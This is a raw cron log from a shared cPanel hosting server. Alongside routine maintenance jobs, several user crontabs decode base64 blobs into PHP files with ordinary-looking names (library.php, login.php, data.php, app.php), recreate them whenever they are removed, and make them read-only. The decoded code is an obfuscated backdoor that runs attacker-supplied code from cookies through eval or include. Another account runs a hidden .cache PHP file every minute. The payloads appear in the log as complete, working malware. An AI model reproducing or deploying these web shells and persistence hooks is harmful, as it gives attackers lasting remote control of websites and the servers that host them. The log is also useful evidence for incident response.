Mar  1 08:34:01 medusa CROND[15505]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:35:01 medusa CROND[5303]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 08:35:01 medusa CROND[5308]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 08:35:01 medusa CROND[5318]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 08:35:01 medusa CROND[5366]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 08:35:01 medusa CROND[5419]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:35:01 medusa CROND[5420]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 08:35:01 medusa CROND[5421]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 08:35:01 medusa CROND[5432]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:35:01 medusa CROND[5433]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 08:35:01 medusa CROND[5434]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:35:01 medusa CROND[5438]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:35:01 medusa CROND[5436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:35:01 medusa CROND[5435]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 08:35:01 medusa CROND[5442]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:35:01 medusa CROND[5444]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:35:01 medusa CROND[5447]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 08:35:01 medusa CROND[5445]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 08:35:01 medusa CROND[5451]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  1 08:35:01 medusa CROND[5449]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 08:35:01 medusa CROND[5456]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:35:01 medusa CROND[5453]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 08:35:01 medusa CROND[5457]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 08:35:01 medusa CROND[5459]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:35:01 medusa CROND[5461]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:35:01 medusa CROND[5464]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:36:02 medusa CROND[27349]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 08:36:02 medusa CROND[27350]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:36:02 medusa CROND[27351]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:36:02 medusa CROND[27352]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 08:36:02 medusa CROND[27353]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:36:02 medusa CROND[27354]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:36:02 medusa CROND[27358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:36:02 medusa CROND[27357]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:36:02 medusa CROND[27360]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:36:02 medusa CROND[27361]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:36:02 medusa CROND[27364]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:36:02 medusa CROND[27370]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:36:02 medusa CROND[27371]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:36:02 medusa CROND[27372]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:37:02 medusa CROND[16430]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:37:02 medusa CROND[16431]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 08:37:02 medusa CROND[16432]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
